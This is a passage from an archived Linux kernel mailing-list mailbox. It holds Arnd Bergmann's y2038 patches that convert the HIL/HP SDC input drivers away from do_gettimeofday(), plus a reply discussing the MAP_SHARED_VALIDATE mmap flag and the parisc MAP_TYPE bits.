 fxGjbopqW9HHCwTZ4y6vKDptvjVWCe1NxFW2QSKPzZ6ovJaUsuAD284RnxSMjz5Lr/T0HNahD
 BKTQ2OEBaxZKy/Dnd7wSAdZjcqUX7Oh0b5Z+LNk6enRPcnzBy6KL6t9kMkP1cNpxQW6uapxKc
 6AVToAhW+R2/ui3Z1yNHHx4NGEGkSFOru30R3uheliopUS9YTQyASoGu7F/1XpefJ4giyByO0
 4Gn4KCnWSvSYQjbZ6iGHdXC4Lg7ag5j8aX7MBbKMsg9qtvof+GzEY3ufgKFf1FG2vtdvBHuf+
 SazNoTL3yYJh6v6olMAvDMWhDcLXxGq9/L+QPA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28010 gmane.linux.kernel.input:59217 gmane.linux.kernel:2625724
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28010>

From: WEN Pingbo <pingbo.wen@linaro.org>

Since mlc->lcv_t is only interested in seconds, directly using time64_t
here.

This gets rid of the deprecated do_gettimeofday() and avoids problems
with time going backwards since we now use the monotonic clocksource.

Signed-off-by: WEN Pingbo <pingbo.wen@linaro.org>
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/input/serio/hil_mlc.c | 8 +++-----
 include/linux/hil_mlc.h       | 2 +-
 2 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/drivers/input/serio/hil_mlc.c b/drivers/input/serio/hil_mlc.c
index d66d01c5373b..581e47119363 100644
--- a/drivers/input/serio/hil_mlc.c
+++ b/drivers/input/serio/hil_mlc.c
@@ -274,14 +274,12 @@ static int hilse_match(hil_mlc *mlc, int unused)
 /* An LCV used to prevent runaway loops, forces 5 second sleep when reset. */
 static int hilse_init_lcv(hil_mlc *mlc, int unused)
 {
-	struct timeval tv;
+	time64_t now = ktime_get_seconds();
 
-	do_gettimeofday(&tv);
-
-	if (mlc->lcv && (tv.tv_sec - mlc->lcv_tv.tv_sec) < 5)
+	if (mlc->lcv && (now - mlc->lcv_time) < 5)
 		return -1;
 
-	mlc->lcv_tv = tv;
+	mlc->lcv_time = now;
 	mlc->lcv = 0;
 
 	return 0;
diff --git a/include/linux/hil_mlc.h b/include/linux/hil_mlc.h
index 394a8405dd74..d6fc839bdf46 100644
--- a/include/linux/hil_mlc.h
+++ b/include/linux/hil_mlc.h
@@ -149,7 +149,7 @@ struct hil_mlc {
 
 	int			ddi;	/* Last operational device id */
 	int			lcv;	/* LCV to throttle loops */
-	struct timeval		lcv_tv; /* Time loop was started */
+	time64_t		lcv_time; /* Time loop was started */
 
 	int			di_map[7]; /* Maps below items to live devs */
 	struct hil_mlc_devinfo	di[HIL_MLC_DEVMEM];
-- 
2.9.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 2/3] input: hil_mlc: convert timeval to jiffies
Date: Mon, 27 Nov 2017 12:22:58 +0100
Lines: 116
Approved: news@gmane.org
Message-ID: <20171127112324.1917698-2-arnd@arndb.de>
References: <20171127112324.1917698-1-arnd@arndb.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1511781848 2002 195.159.176.226 (27 Nov 2017 11:24:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Nov 2017 11:24:08 +0000 (UTC)
Cc: linux-m68k@lists.linux-m68k.org,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        WEN Pingbo <pingbo.wen@linaro.org>,
        Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org
To: linux-input@vger.kernel.org,
        Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Nov 27 12:24:03 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eJHVw-0006U5-PQ
	for glpm-linux-m68k@m.gmane.org; Mon, 27 Nov 2017 12:23:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751439AbdK0LYA (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Mon, 27 Nov 2017 06:24:00 -0500
Original-Received: from mout.kundenserver.de ([212.227.17.24]:60404 "EHLO
        mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751402AbdK0LX7 (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Mon, 27 Nov 2017 06:23:59 -0500
Original-Received: from wuerfel.lan ([109.193.157.232]) by mrelayeu.kundenserver.de
 (mreue103 [212.227.15.145]) with ESMTPA (Nemesis) id
 0M0bdu-1f8EAn07iA-00uv71; Mon, 27 Nov 2017 12:23:55 +0100
X-Mailer: git-send-email 2.9.0
In-Reply-To: <20171127112324.1917698-1-arnd@arndb.de>
X-Provags-ID: V03:K0:yL7hDJvtcAS9YuS5M35TqDfB15DIe1aQ81bM5dpgFPpIEXsOpVU
 J2fsB9+KXq6QT1ziqWhDyH3wUk6ywXr81Xc/S59nj6cDYVRx6mrZJq7HIxhp+lB0mEtyDbs
 rrCt0sl2Aapj7oFqa0sELmnXwE3Tv0pLyHluu2kMkNDrwiBAEX9GvgBpl3s4OEMCFysZLmb
 ujXtxbCIQUq8mUio1v12w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:cHvcvAJmt04=:0ZNHpLvKN+ib05KpPUOZGU
 YX7jOqW1Qwe4Mx9GDxFTjHfOHOQGFoaFPvc6FmwqHlDsIoK/zd2uUy4xigpH8AzK/LzMNCJ1e
 ADnvYpIPQaChZeyKQWtMnXRZZV+UG3kmI+QnS/qHa9ZJFKehy5XqVWVi4fZTTDBjCVmni3Elf
 xRY5zmVXL8JnlEejw7aH51wuTrgyGmDxNwWAboeSN5M8lyEZK2dzZAsucuyNJdHOLtxVXZPSd
 8zXZ2C0zBYiaIVLnstgDlPlDXBiW9xK2GnBN0CakgrmL6OvHLikwQz9xK9Ql3WIUfWot/rYgo
 OcnQ76FayoYhsoYghz3Ubn0VFxVfXDReaHMSlWpt/pyKFdgZdGHx/bLKbyGk88n+yDwEeJnRr
 oQ1HzzvgNaz6PY19cKvH4u6hc8/iMZ/2QlsUhsSLbXlCoR3QisZdBl2CIYblni45LQo3fWXSk
 UJZ/IQH5ujSTwoOIaOFkQXwkE9409gHdrlu9MX4/9ra9otzGafEu8eOv4ij0d5MGlyL7eP/hf
 tushdM7VelYCWi2+Kj3qxwLKyHm4f5FHMVHXOUG4G9e4w1YMmMrjEG+wKLSMxUtFeNv/5pu6v
 hn0D1v9Ey8asu3qwAZKtrnYUOA4lpKNvmp5XMbL7tmVgCSKZxBg3+t9IizD38kG6R6mYAQxWV
 OijvCXCxJ2jS6yPf/jTwL6OecNe0JwingWFOn5wrrAU0Ty4UtRtX1EQOKUcOPXlwUmd41rUXi
 e4fZzpaJclAvjQpnttalwLzC00mbTi3Qcuzw+g==
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9675 gmane.linux.kernel.input:59218 gmane.linux.ports.parisc:28011 gmane.linux.kernel:2625725
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9675>

From: WEN Pingbo <pingbo.wen@linaro.org>

struct timeval is not y2038 safe, and what mlc->instart do is
scheduling a task in a fixed timeout, so jiffies is the
simplest choice here.

In hilse_donode(), the expires in mod_timer equals

	jiffies + intimeout - (now - instart)

If we use jiffies in 'now', the expires equals

	instart + intimeout

So, all we need to do is that making sure expires is a future
timestamp before passed it to mod_timer.

[arnd: slightly simplified patch further]

Link: https://lists.linaro.org/pipermail/y2038/2015-October/000937.html
Signed-off-by: WEN Pingbo <pingbo.wen@linaro.org>
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/input/serio/hil_mlc.c    | 18 +++++++-----------
 drivers/input/serio/hp_sdc_mlc.c |  5 +----
 include/linux/hil_mlc.h          |  4 ++--
 3 files changed, 10 insertions(+), 17 deletions(-)

diff --git a/drivers/input/serio/hil_mlc.c b/drivers/input/serio/hil_mlc.c
index 581e47119363..e1423f7648d6 100644
--- a/drivers/input/serio/hil_mlc.c
+++ b/drivers/input/serio/hil_mlc.c
@@ -602,8 +602,8 @@ static inline void hilse_setup_input(hil_mlc *mlc, const struct hilse_node *node
 		BUG();
 	}
 	mlc->istarted = 1;
-	mlc->intimeout = node->arg;
-	do_gettimeofday(&(mlc->instart));
+	mlc->intimeout = usecs_to_jiffies(node->arg);
+	mlc->instart = jiffies;
 	mlc->icount = 15;
 	memset(mlc->ipacket, 0, 16 * sizeof(hil_packet));
 	BUG_ON(down_trylock(&mlc->isem));
@@ -708,7 +708,7 @@ static int hilse_donode(hil_mlc *mlc)
 			break;
 		}
 		mlc->ostarted = 0;
-		do_gettimeofday(&(mlc->instart));
+		mlc->instart = jiffies;
 		write_unlock_irqrestore(&mlc->lock, flags);
 		nextidx = HILSEN_NEXT;
 		break;
@@ -729,18 +729,14 @@ static int hilse_donode(hil_mlc *mlc)
 #endif
 
 	while (nextidx & HILSEN_SCHED) {
-		struct timeval tv;
+		unsigned long now = jiffies;
 
 		if (!sched_long)
 			goto sched;
 
-		do_gettimeofday(&tv);
-		tv.tv_usec += USEC_PER_SEC * (tv.tv_sec - mlc->instart.tv_sec);
-		tv.tv_usec -= mlc->instart.tv_usec;
-		if (tv.tv_usec >= mlc->intimeout) goto sched;
-		tv.tv_usec = (mlc->intimeout - tv.tv_usec) * HZ / USEC_PER_SEC;
-		if (!tv.tv_usec) goto sched;
-		mod_timer(&hil_mlcs_kicker, jiffies + tv.tv_usec);
+		if (time_after(now, mlc->instart + mlc->intimeout))
+			 goto sched;
+		mod_timer(&hil_mlcs_kicker, mlc->instart + mlc->intimeout);
 		break;
 	sched:
 		tasklet_schedule(&hil_mlcs_tasklet);
diff --git a/drivers/input/serio/hp_sdc_mlc.c b/drivers/input/serio/hp_sdc_mlc.c
index d50f0678bf47..232d30c825bd 100644
--- a/drivers/input/serio/hp_sdc_mlc.c
+++ b/drivers/input/serio/hp_sdc_mlc.c
@@ -149,7 +149,6 @@ static int hp_sdc_mlc_in(hil_mlc *mlc, suseconds_t timeout)
 
 	/* Try to down the semaphore */
 	if (down_trylock(&mlc->isem)) {
-		struct timeval tv;
 		if (priv->emtestmode) {
 			mlc->ipacket[0] =
 				HIL_ERR_INT | (mlc->opacket &
@@ -160,9 +159,7 @@ static int hp_sdc_mlc_in(hil_mlc *mlc, suseconds_t timeout)
 			/* printk(KERN_DEBUG PREFIX ">[%x]\n", mlc->ipacket[0]); */
 			goto wasup;
 		}
-		do_gettimeofday(&tv);
-		tv.tv_usec += USEC_PER_SEC * (tv.tv_sec - mlc->instart.tv_sec);
-		if (tv.tv_usec - mlc->instart.tv_usec > mlc->intimeout) {
+		if (time_after(jiffies, mlc->instart + mlc->intimeout)) {
 			/*	printk("!%i %i",
 				tv.tv_usec - mlc->instart.tv_usec,
 				mlc->intimeout);
diff --git a/include/linux/hil_mlc.h b/include/linux/hil_mlc.h
index d6fc839bdf46..774f7d3b8f6a 100644
--- a/include/linux/hil_mlc.h
+++ b/include/linux/hil_mlc.h
@@ -144,8 +144,8 @@ struct hil_mlc {
 	hil_packet		ipacket[16];
 	hil_packet		imatch;
 	int			icount;
-	struct timeval		instart;
-	suseconds_t		intimeout;
+	unsigned long		instart;
+	unsigned long		intimeout;
 
 	int			ddi;	/* Last operational device id */
 	int			lcv;	/* LCV to throttle loops */
-- 
2.9.0


From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 3/3] Input: hp_sdc: convert to ktime_get()
Date: Mon, 27 Nov 2017 12:22:59 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <20171127112324.1917698-3-arnd@arndb.de>
References: <20171127112324.1917698-1-arnd@arndb.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1511781875 8168 195.159.176.226 (27 Nov 2017 11:24:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Nov 2017 11:24:35 +0000 (UTC)
Cc: linux-m68k@lists.linux-m68k.org,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org
To: linux-input@vger.kernel.org,
        Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Nov 27 12:24:30 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eJHWS-0000ml-6E
	for glpm-linux-m68k@m.gmane.org; Mon, 27 Nov 2017 12:24:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751859AbdK0LYb (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Mon, 27 Nov 2017 06:24:31 -0500
Original-Received: from mout.kundenserver.de ([212.227.17.24]:51008 "EHLO
        mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751712AbdK0LY3 (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Mon, 27 Nov 2017 06:24:29 -0500
Original-Received: from wuerfel.lan ([109.193.157.232]) by mrelayeu.kundenserver.de
 (mreue103 [212.227.15.145]) with ESMTPA (Nemesis) id
 0M51UE-1f3oL10jD4-00zIpD; Mon, 27 Nov 2017 12:24:25 +0100
X-Mailer: git-send-email 2.9.0
In-Reply-To: <20171127112324.1917698-1-arnd@arndb.de>
X-Provags-ID: V03:K0:OnOSrIVpjxzbVchzul9+aLrgLPj5+ADA5QI0Jsw8quoLNchbEMH
 68H2r4oOy58nkPVflvZ3nwWngS6sdkxwFVlzUGCrJlMhAMfzQ0FbZZbG7Ml4mQUbJ0Nlxq9
 JD87paY4nptyyFRQNYOmCXldpx5z+JdHpmp4fVOUSctgO7hvM5ntxh7zGB4K9rDECgA9VXs
 rh1zpz5K4zgdYgkbmn65Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:TDK4xiN8iUU=:7mMCnUDstp4ELQktHVeVjG
 nt2VtWaPn6cFRc3GPuVGVMH+TmWdnlj/ZTSTm8I0W56NplHpKqt3ySmcffXWIvFBBRBWJWRIA
 vi5htdS+KO5nkyNbl4xfNDv/ykRl06QmF6/lHMcR83P447hraO/q0HZ7mZ4rLQcQKHiz/uuSa
 JeKn47PibRtVRhDzlOPiVzqpVBbLi3Fn9KqDrlsRQh6CKBp2rnGa342xd0xLxjNxO33+uHyci
 SYd/01qEnDJmGF4EQBACFWx9b3o1GnDfk6dUNM9dHt5Uoieojodah9RRKTWWQTKt9imZolQQx
 LjEJGh+fYkvoXVYDN3Y2H+95q3GP4rnZCW0g0rF3Zp4/9TCvzvx1Ee+h7Nv7xIb8l/eVqUgaW
 KYobB/Vow382kNpN3MnvVjvZ8rqoWvDO7PobQe6yEEqQZKXgnziN054ebeUCwyl4WYk4nOukQ
 /nHK45LZuQELidckkmtPpdFQ6jlCrwGeileojXQdPOM2XID+lujl+CiOJt6WQp6ewzEGr2XDV
 qQW9C5Uv0fORvMiJOvTBq0TCW55oKjBFT5V3gC0rQKAmvBzaLMfEXEaLTR41gc3Zh0DhX/Zlt
 FLikZQQWsumiYM512TC7jAZrFQIKFpN4IId5ga0dQjEOKtBY9F+rCp9AYZNtbGZJPjlJ3/7pu
 7K6y8imbR+SrGPzj5Fyc0OucEp3DfbwcI5UJSW0jno1L7/LNTVSJhmjT+veKiKB4JApp22REE
 lrFyKmJb5ATwGscPzOHhKiDmeCmWANdXnXjJYw==
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9676 gmane.linux.kernel.input:59219 gmane.linux.ports.parisc:28012 gmane.linux.kernel:2625726
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9676>

This gets rid of the deprecated do_gettimeofday() call in favor
of ktime_get(), which is also more reliable as it uses monotonic
times. The code now gets a bit simpler.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/input/serio/hp_sdc.c | 17 +++++++----------
 include/linux/hp_sdc.h       |  2 +-
 2 files changed, 8 insertions(+), 11 deletions(-)

diff --git a/drivers/input/serio/hp_sdc.c b/drivers/input/serio/hp_sdc.c
index 1d7c7d81a5ef..0b8a25c58d02 100644
--- a/drivers/input/serio/hp_sdc.c
+++ b/drivers/input/serio/hp_sdc.c
@@ -193,7 +193,7 @@ static void hp_sdc_take(int irq, void *dev_id, uint8_t status, uint8_t data)
 	curr->seq[curr->idx++] = status;
 	curr->seq[curr->idx++] = data;
 	hp_sdc.rqty -= 2;
-	do_gettimeofday(&hp_sdc.rtv);
+	hp_sdc.rtime = ktime_get();
 
 	if (hp_sdc.rqty <= 0) {
 		/* All data has been gathered. */
@@ -306,13 +306,10 @@ static void hp_sdc_tasklet(unsigned long foo)
 	write_lock_irq(&hp_sdc.rtq_lock);
 
 	if (hp_sdc.rcurr >= 0) {
-		struct timeval tv;
+		ktime_t now = ktime_get();
 
-		do_gettimeofday(&tv);
-		if (tv.tv_sec > hp_sdc.rtv.tv_sec)
-			tv.tv_usec += USEC_PER_SEC;
-
-		if (tv.tv_usec - hp_sdc.rtv.tv_usec > HP_SDC_MAX_REG_DELAY) {
+		if (ktime_after(now, ktime_add_us(hp_sdc.rtime,
+						  HP_SDC_MAX_REG_DELAY))) {
 			hp_sdc_transaction *curr;
 			uint8_t tmp;
 
@@ -321,8 +318,8 @@ static void hp_sdc_tasklet(unsigned long foo)
 			 * we'll need to figure out a way to communicate
 			 * it back to the application. and be less verbose.
 			 */
-			printk(KERN_WARNING PREFIX "read timeout (%ius)!\n",
-			       (int)(tv.tv_usec - hp_sdc.rtv.tv_usec));
+			printk(KERN_WARNING PREFIX "read timeout (%lldus)!\n",
+			       ktime_us_delta(now, hp_sdc.rtime));
 			curr->idx += hp_sdc.rqty;
 			hp_sdc.rqty = 0;
 			tmp = curr->seq[curr->actidx];
@@ -551,7 +548,7 @@ unsigned long hp_sdc_put(void)
 
 			/* Start a new read */
 			hp_sdc.rqty = curr->seq[curr->idx];
-			do_gettimeofday(&hp_sdc.rtv);
+			hp_sdc.rtime = ktime_get();
 			curr->idx++;
 			/* Still need to lock here in case of spurious irq. */
 			write_lock_irq(&hp_sdc.rtq_lock);
diff --git a/include/linux/hp_sdc.h b/include/linux/hp_sdc.h
index d392975d8887..6f1dee7e67e0 100644
--- a/include/linux/hp_sdc.h
+++ b/include/linux/hp_sdc.h
@@ -281,7 +281,7 @@ typedef struct {
 	hp_sdc_transaction *tq[HP_SDC_QUEUE_LEN]; /* All pending read/writes */
 
 	int		rcurr, rqty;	/* Current read transact in process */
-	struct timeval	rtv;		/* Time when current read started */
+	ktime_t		rtime;		/* Time when current read started */
 	int		wcurr;		/* Current write transact in process */
 
 	int		dev_err;	/* carries status from registration */
-- 
2.9.0


From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.hardware.nvdimm,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.comp.file-systems.ext4
Subject: Re: [PATCH 01/18] mm: introduce MAP_SHARED_VALIDATE, a mechanism to
 safely define new mmap flags
Date: Mon, 27 Nov 2017 16:55:54 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <35fa2cb6-9957-fd77-836c-760cecc64b2e@suse.cz>
References: <20171101153648.30166-1-jack@suse.cz>
 <20171101153648.30166-2-jack@suse.cz>
 <638b3b80-5cb9-97c2-5055-fef3a1ec25b9@suse.cz>
 <CAPcyv4gGRHWc6AH5Enb7njtmqHgd=g+0-mYMdd5wWjJMW0+d7g@mail.gmail.com>
 <20171122195318.GA29485@bombadil.infradead.org>
 <09f54d38-7cb5-343d-a017-2d71a793d05c@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1511798247 10107 195.159.176.226 (27 Nov 2017 15:57:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Nov 2017 15:57:27 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: Jan Kara <jack@suse.cz>,
        Ross Zwisler <ross.zwisler@linux.intel.com>,
        Christoph Hellwig <hch@infradead.org>,
        linux-fsdevel <linux-fsdevel@vger.kernel.org>,
        "linux-nvdimm@lists.01.org" <linux-nvdimm@lists.01.org>,
        Linux MM <linux-mm@kvack.org>,
        Linux API <linux-api@vger.kernel.org>,
        linux-ext4 <linux-ext4@vger.kernel.org>,
        linux-xfs <linux-xfs@vger.kernel.org>,
        "Darrick J . Wong" <darrick.wong@oracle.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Andy Lutomirski <luto@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Michal Hocko <mhocko@kernel.org>,
        Kees Cook <keescook@chromium.org>,
        Florian Weimer <fweimer@redhat.com>,
        John Hubbard <jhubbard@nvidia.com>,
        "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
        linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>, Matthew Wilcox <willy@infradead.org>,
        Dan Williams <dan.j.williams@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 27 16:57:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eJLmY-0008RN-2j
	for glpp-linux-parisc@m.gmane.org; Mon, 27 Nov 2017 16:57:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752652AbdK0P5Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 27 Nov 2017 10:57:25 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:36410 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752281AbdK0P5Y (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 27 Nov 2017 10:57:24 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id DBBB0AAB9;
        Mon, 27 Nov 2017 15:57:21 +0000 (UTC)
In-Reply-To: <09f54d38-7cb5-343d-a017-2d71a793d05c@gmx.de>
Content-Language: en-US
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28013 gmane.linux.file-systems:129534 gmane.linux.hardware.nvdimm:7362 gmane.linux.kernel.mm:184532 gmane.linux.kernel.api:25968 gmane.comp.file-systems.ext4:59961
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28013>

On 11/25/2017 07:45 PM, Helge Deller wrote:
> On 22.11.2017 20:53, Matthew Wilcox wrote:
>> On Wed, Nov 22, 2017 at 08:52:37AM -0800, Dan Williams wrote:
>>> On Wed, Nov 22, 2017 at 4:02 AM, Vlastimil Babka <vbabka@suse.cz> wrote:
>>>> On 11/01/2017 04:36 PM, Jan Kara wrote:
>>>>> From: Dan Williams <dan.j.williams@intel.com>
>>>>>
>>>>> The mmap(2) syscall suffers from the ABI anti-pattern of not validating
>>>>> unknown flags. However, proposals like MAP_SYNC need a mechanism to
>>>>> define new behavior that is known to fail on older kernels without the
>>>>> support. Define a new MAP_SHARED_VALIDATE flag pattern that is
>>>>> guaranteed to fail on all legacy mmap implementations.
>>>>
>>>> So I'm trying to make sense of this together with Michal's attempt for
>>>> MAP_FIXED_SAFE [1] where he has to introduce a completely new flag
>>>> instead of flag modifier exactly for the reason of not validating
>>>> unknown flags. And my conclusion is that because MAP_SHARED_VALIDATE
>>>> implies MAP_SHARED and excludes MAP_PRIVATE, MAP_FIXED_SAFE as a
>>>> modifier cannot build on top of this. Wouldn't thus it be really better
>>>> long-term to introduce mmap3 at this point? ...
>>>
>>> We have room to define MAP_PRIVATE_VALIDATE in MAP_TYPE on every arch
>>> except parisc. Can we steal an extra bit for MAP_TYPE from somewhere
>>> else on parisc?
>>
>> It looks like 0x08 should work.
> 
> I posted an RFC to the parisc mailing list for that:
> https://patchwork.kernel.org/patch/9970553/

Thanks. BTW there doesn't seem to be much interest making MAP_FIXED_SAFE
a flag modifier after all, so MAP_PRIVATE_VALIDATE wouldn't get
immediate users.

> Basically this is (for parisc only):
> -#define MAP_TYPE	0x03		/* Mask for type of mapping */
> +#define MAP_TYPE	(MAP_SHARED|MAP_PRIVATE|MAP_RESRVD1|MAP_RESRVD2) /* Mask for type of mapping */
>  #define MAP_FIXED	0x04		/* Interpret addr exactly */
> +#define MAP_RESRVD1	0x08		/* reserved for 3rd bit of MAP_TYPE */
>  #define MAP_ANONYMOUS	0x10		/* don't use a file */
> +#define MAP_RESRVD2	0x20		/* reserved for 4th bit of MAP_TYPE */
> 
>> But I don't have an HPUX machine around
>> to check that HP didn't use that bit for something else.
> 
> We completely dropped support for HPUX binaries, so it's not relvant any longer. 
> 
>> It'd probably help to cc the linux-parisc mailing list when asking
>> questions about PARISC, eh?
> 
> Yes, please.
> 
> Helge
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.comp.lib.glibc.alpha,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.file-systems
Subject: [PATCH 2/3] y2038: elfcore: use __kernel_old_timeval for process times
Date: Mon, 27 Nov 2017 18:00:46 +0100
Lines: 164
Approved: news@gmane.org
Message-ID: <20171127170121.634826-2-arnd@arndb.de>
References: <20171127170121.634826-1-arnd@arndb.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1511802203 17123 195.159.176.226 (27 Nov 2017 17:03:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Nov 2017 17:03:23 +0000 (UTC)
Cc: y2038@lists.linaro.org, libc-alpha@sourceware.org,
        linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-api@vger.kernel.org,
        Albert ARIBAUD <albert.aribaud@3adev.fr>,
        Arnd Bergmann <arnd@arndb.de>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Alexander Viro <viro@zeniv.linux.org.uk>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Ingo Molnar <mingo@kernel.org>,
        Frederic Weisbecker <fweisbec@gmail.com>,
        Andrew Morton <akpm@linux-foundation.org>,
        Denys Vlasenko <dvlasenk@redhat.com>,
        Nicolas Pitre <nicolas.pitre@linaro.org>,
        Dave Martin <Dave.Martin@arm.com>,
        Mickael GUENE <mickael.guene@st.com>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linux-fsdev
To: John Stultz <john.stultz@linaro.org>,
        Thomas Gleixner <tglx@linutronix.de>
